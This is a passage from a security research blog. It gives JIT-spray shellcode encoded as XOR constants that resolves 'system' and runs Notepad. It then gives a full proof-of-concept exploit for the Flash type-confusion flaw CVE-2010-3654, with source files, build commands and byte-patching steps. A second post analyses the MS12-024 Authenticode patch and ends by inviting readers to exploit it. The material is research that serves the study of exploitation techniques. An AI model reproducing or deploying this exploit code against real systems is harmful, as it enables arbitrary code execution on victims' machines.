			// 02650CAC    EB 01           JMP SHORT 02650CAF
			// 02650CAE    90              NOP                                             ; XOR
			// 02650CAF    80D4 00         ADC AH,0                                        ; There shouldn't be an overflow here
			// 02650CB2    8B0418          MOV EAX,DWORD PTR DS:[EAX+EBX]                  ; Export dir
			// 02650CB5    8BD0            MOV EDX,EAX
			// 02650CB7    B1 1C           MOV CL,1C
			// 02650CB9    03D1            ADD EDX,ECX
			// 02650CBB    8B041A          MOV EAX,DWORD PTR DS:[EDX+EBX]                  ; Address of functions
			// 02650CBE    B1 04           MOV CL,4
			// 02650CC0    03D1            ADD EDX,ECX
			// 02650CC2    8B141A          MOV EDX,DWORD PTR DS:[EDX+EBX]                  ; Address of names
			// 02650CC5    B9 65350000     MOV ECX,3565
			// 02650CCA    B5 6D           MOV CH,6D
			// 02650CCC    51              PUSH ECX
			// 02650CCD    B9 73357374     MOV ECX,74733573
			// 02650CD2    B5 79           MOV CH,79
			// 02650CD4    51              PUSH ECX
			// 02650CD5    33C9            XOR ECX,ECX
			// 02650CD7    B1 07           MOV CL,7
			// 02650CD9    8BF4            MOV ESI,ESP                                     ; "system"
			// 02650CDB    8B3C1A          MOV EDI,DWORD PTR DS:[EDX+EBX]
			// 02650CDE    03FB            ADD EDI,EBX                                     ; Address of exported function name
			// 02650CE0    F3:A6           REPE CMPS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
			// 02650CE2    EB 01           JMP SHORT 02650CE5
			// 02650CE4    90              NOP                                             ; XOR
			// 02650CE5    74 17           JE SHORT 02650CFE
			// 02650CE7    90              NOP
			// 02650CE8    90              NOP
			// 02650CE9    90              NOP                                             ; XOR
			// 02650CEA    B1 04           MOV CL,4
			// 02650CEC    90              NOP
			// 02650CED    3C 35           CMP AL,35                                       ; XOR
			// 02650CEF    03D1            ADD EDX,ECX
			// 02650CF1    90              NOP
			// 02650CF2    3C 35           CMP AL,35                                       ; XOR
			// 02650CF4    03C1            ADD EAX,ECX
			// 02650CF6    90              NOP
			// 02650CF7    3C 35           CMP AL,35                                       ; XOR
			// 02650CF9    EB D1           JMP SHORT 02650CD7                              ; The operand byte here takes into account the xors/nops
			// 02650CFB    90              NOP
			// 02650CFC    3C 35           CMP AL,35                                       ; XOR
			// 02650CFE    8B0418          MOV EAX,DWORD PTR DS:[EAX+EBX]
			// 02650D01    03D8            ADD EBX,EAX                                     ; EBX now holds the address of system

			// Find the address of system and put it in EBX
			0x3C903CB0^0x3C18048B^0x01EB7804^0x3C00D480^0x3C18048B^0x3C90D08B^0x3C901CB1^0x3C90D103^0x3C1A048B^0x3C9004B1^0x3C90D103^0x3C1A148B^
			0x65B99090^0x3C900000^0x3C516DB5^0x73B99090^0x3C907473^0x3C5179B5^0x3C90C933^0x3C9007B1^0x3C90F48B^0x3C1A3C8B^0x3C90FB03^0x01EBA6F3^
			0x3C901774^0x3C9004B1^0x3C90D103^0x3C90C103^0x3C90D1EB^0x3C18048B^0x3C90D803^
			
			// Run notepad using system (call ebx)
			0x3C90ec8b^0x3C909055^0x3C90ec8b^0x646170b8^0x000000b9^0x3c90c12b^0x3c909050^0x3f6f6eb8^0x0000b990^0x3c909030^0x3c90c103^0x3c909050^
			0x3cf8458d^0x3c909050^0x3ccd3ff);

			return ret;
		}
		
		function Main()
		{
			var ret1 = funcXOR1();
		}
	}
}

The code is not optimized, but it does show you several ways of transforming assembly code into Flash Player compatible JIT code.

CVE-2010-3654

To really see the code in action, we use the CVE-2010-3654 Flash Player type confusion vulnerability. The vulnerability was already extensively analyzed, but the published exploit code didn’t use JIT spray at all. We now provide our own version of the exploit, which uses the more realistic JIT code provided above. Note that this time we use mxlmc (from the Flex package) for compilation.

For our exploit, we use 3 files: main.as, Original_Class.as, and Real_Ref_Class.as. Here they are, in this order:

// CVE-2010-3654 PoC exploit using JIT spraying
// Written by Gal Badishi, http://www.badishi.com
// Compile using mxmlc and not as3compile
// See complete details at http://www.badishi.com/jit-spraying-primer-and-cve-2010-3654

package poc {	
		
	import flash.utils.*;
	import flash.display.*;
	import flash.text.*;
	import flash.net.*;

	public class main extends Sprite 
	{
	
		var childRef:DisplayObject = null;
		var MyTextField1:TextField = createTextField(10, 40, 300, 20);
		
		function get get_test1():Real_Ref_Class
		{
			return null;
		}
	
		function doInterval():Original_Class {
			var obj:Original_Class = Original_Class.static_func1();	
			obj.normal_func();
			return null;
		}

`
		function pageLoad(i)
		{	
			var ldr = new Loader();
			var url = "jit.swf";
			var urlReq = new URLRequest(url);
			ldr.load(urlReq);
			childRef = addChild(ldr); //returns a DisplayObject
			MyTextField1.text = i + "";
		}

		public function main() 
		{
			
			MyTextField1.type = TextFieldType.DYNAMIC;
			
			for (var i = 0; i < 2000; i++) {
				pageLoad(i+1);
			}
			setInterval(doInterval, 3000);
   			var obj:Original_Class = Original_Class.static_func1();	
		}			
	}
}

package poc {
	
	public class Original_Class
	{
		public static function static_func1():Original_Class
		{
			return null;
		}
	
		public function normal_func():uint
		{
			return 0;
		}
	}
}

package poc {
	
	import flash.display.Sprite
	import flash.utils.*
	
	public class Real_Ref_Class extends Sprite
	{
		public static function static_func1():uint
		{
			// This is the address "addr" that starts the whole thing (call [[[addr + 10h] + 4Ch] + 0Ch])
			var str:uint = 0x09090176;
			return str;								
		}						
	}
}

To understand how the dereferncing works, take a look at the following code, showing how the call to obj.normal_func() looks like in machine code (compare to the comments in the code):

Assuming that all files (these 3 and the previous jit_real.as containing the realistic JIT code) reside in a directory called “poc” under the current working directory, run the following commands:

mxmlc -source-path=.\ poc\main.as
cd poc
as3compile -N -o jit.swf jit_real.swf
as3combine -d -o main_extracted.swf main.swf

Now we need to induce the type confusion vulnerability for the exploit to work. Edit main_extracted.swf, and check the constant pool string entries for “Real_Ref_Class” (should be #2) and “Original_Class” (should be #3). Next, you should change the multiname of Original_Class to point to Real_Ref_Class. That is, in the multiname array you should see the bytes 070102070103 (for the two classes). Replace them with 070102070102, making Original_Class point to Real_Ref_Class. Naturally, if, for some reason, the constant strings in your file are not #2 and #3, change the numbers according to your pool.

After you change main_extracted.swf, simply load it into Flash Player. You’ll see “2000″ on the screen, meaning that the JIT spraying was over, and 3 seconds later you should see Notepad running.

MS12-024 / CVE-2012-0151 – Some Exploitation Details

Gal — Sat, 12 May 2012 06:18:10 +0000

Last time, we talked about MS12-024 (CVE-2012-0151), which states that a vulnerability in the way WinVerifyTrust operates could allow an attacker to modify a signed executable so that it runs arbitrary code, but the signature remains verifiable. We now give more details on the patch for Windows XP SP3.

Looking at the files changed by the patch, we see that we only have 2 files to analyze: wintrust.dll and imagehlp.dll. We run the patch through the command prompt, using the /x switch, so as to simply extract the embedded files and not to install them. The directory of interest is SP3GDR, as the files in it contain only security patches (i.e., they don’t contain any other changes that may have been made by Microsoft, like the files in the SP3QFE directory do). The version information for the patched files and the files currently installed is this:

wintrust.dll: Current: 5.131.2600.5922. Patch: 5.131.2600.6198.
imagehlp.dll: Current: 5.1.2600.5512. Patch: 5.1.2600.6198.

A simple binary comparison between the wintrust.dll files shows that, excluding timestamps, checksums and version information, the two files are virtually the same, other than 20 (16 + 2×2) unaccounted for bytes. These 20 bytes might be of some significance, otherwise there was really no point in replacing wintrust.dll.

Moving on to imagehlp.dll, we can see more substantial differences:

imagehlp.dll Changed Functions

imagehlp.dll New Functions

DllMain simply makes sure that each loaded instance of the DLL starts with fresh markers for invalid certificates (more on that later). ImageGetDigestStream, ImageGetCertificateHeader, ImageRemoveCertificate and ImageGetCertificateData simply add another parameter to the call to FindCertificate. The new FindCertificate gets an additional parameter, a boolean flag, which indicates whether the size of the output buffer provided is bigger than 8 bytes.

The real changes were made to the functions ImageEnumerateCertificates and FindCertificate. We detail these changes below. As a side note, in the process of understanding what the patch does, a possible buffer overflow and a memory leak were found. And then you wonder…

ImageGetCertificateData

A check was added. Errors reported by the new check function, subCheckCertsLocation_76C9A779:

The certificate directory’s RVA + size overflows.
The certificate directory is not the last thing in the file.
The sections’ start RVA + sections’ size overflows or is more than the file’s size.
numSections == 0 and the certs dir’s RVA < the sections' start RVA (i.e., it overlaps with the headers).
One of the sections contains a null pointer to raw data.
One of the sections’ ptr to raw data + raw data size overflows.
One of the sections’ ptr to raw data + raw data size exceeds the file’s size.
The certificate directory starts before one of the sections ends.

Basically, the check is that the certificate directory is last, and that it doesn’t overlap with a section or with the headers.

FindCertificate

First, FindCertificate calls the same check routine, subCheckCertsLocation_76C9A779. If the check fails, FindCertificate returns with an error.
As mentioned earlier, FindCertificate gets an additional parameter, blOutputSizeCheck, that is set to 1 (true) if the length of the output buffer (provided to ImageGetCertificateData, for example) is bigger than 8 bytes, or set to 0 (false) otherwise. If the flag is false, FindCertificate continues normally. However, if the flag is true, an additional check is performed, and what an interesting check it is…

It appears that Microsoft decided that several values (called markers) are not allowed inside a WIN_CERTIFICATE structure representing an Authenticode signature. We can only deduce two things out of this:

Valid certificates can suddenly, and with no good reason, become invalid. The worst case happens when one of the markers is found inside a company’s public key, and then the company has a real problem (though the chances of that happening are pretty slim).
Microsoft probably came to one of these conclusions (or to both of them):

It might be the case that this vulnerability is exploited in the wild (contrary to published material, even by Microsoft).
The vulnerability can’t really be closed due to design choices and algorithms that can’t be changed, and so Microsoft must try to specifically invalidate certificates that try to exploit this vulnerability. This might mean there’s some room for exploitation, even after the patch is applied.

So it all boils down to what’s in the markers array. To initialize the markers array, a search in the registry is performed. The key is HKLM\Software\Microsoft\Cryptography\Wintrust\Config, and the value is PECertInvalidMarkers. If the key doesn’t exist (as is probably the case), default values are used to populate the markers array. By default, there are 50 different markers, virtually all of them denote an invalid certificate (as per Microsoft). To decide that a certificate is invalid, it’s enough to find a single marker anywhere within it. For each marker, the short form of the marker (by default, 4 bytes) is looked for in the certificate. If it’s found, that point in the certificate is matched against the real, full marker. If there’s a match, the WIN_CERTIFICATE structure is considered invalid. If no marker was found, FindCertificate continues as usual.

Here’s a list of the default (short) markers (the bytes appear as they do in the file, i.e., this is big-endian):

DWORD dwShortMarkers[50] = {
	0x504B0102, 0x504B0506, 0x504B0304, 0x504B0708, 0x52617221
	0x7ABCAF27, 0x2A2A4143, 0x213C6172, 0x4D534346, 0xEFBEADDE
	0x496E6974, 0x7A6C621A, 0x4B47425F, 0x4B474232, 0x4B474232
	0x454E4300, 0x6469736B, 0x3E2D1C0B, 0x49536328, 0x536D6172
	0xAE014E61, 0x3B214049, 0x45474741, 0x41724301, 0x53747566
	0x2D737178, 0x504B090A, 0x220B010B, 0x2D6C6830, 0x2D6C6831
	0x2D6C6832, 0x2D6C6833, 0x2D6C6834, 0x2D6C6835, 0x2D6C6836
	0x2D6C6837, 0x2D6C6838, 0x2D6C6839, 0x2D6C6861, 0x2D6C6862
	0x2D6C6863, 0x2D6C6864, 0x2D6C6865, 0x2D6C7A73, 0x2D6C7A32
	0x2D6C7A33, 0x2D6C7A34, 0x2D6C7A35, 0x2D6C7A37, 0x2D6C7A38
};

Some notable markers include 0xEFBEADDE (i.e., 0xDEADBEEF in little-endian), “KGB2″, “Initializing Wise Installation Wizard”, “PK” (+ version), “Rar”, “**ACE**”, “NanoZip”, “StuffIt!”, “-lh?-” (where “?” is a hex digit, excluding F), and “-lz?-” (where “?” is a decimal digit between 2 and 8, inclusive). You get the point.

Some Other Things

The Microsoft Authenticode Portable Executable Signature Format specification might have you believe that the file’s digest is computed using ImageGetDigestStream from imagehlp.dll. If you check what ImageGetDigestStream does, you’ll come to the conclusion that this is not the case (alternatively, just set a breakpoint there and see that it’s never called when validating a PE’s Authenticode information).

In fact, the real function that computes the PE’s digest is imagehack_AuImageGetDigestStream in wintrust.dll. This function also has some checks in place, even in the unpatched version (the patched DLL doesn’t modify this function). The function checks that the certificate directory doesn’t overlap with any section or with the header, that it’s the last thing in the file, and that the certificate directory’s size is not “negative” (that is, overflows a DWORD when added to the directory’s virtual address). If all the checks pass, the checksum, certificate directory info (VA + size) and the certificate directory itself are masked out, and the entire file is hashed.

I hope this gives you enough information to try and exploit MS12-024. Good luck!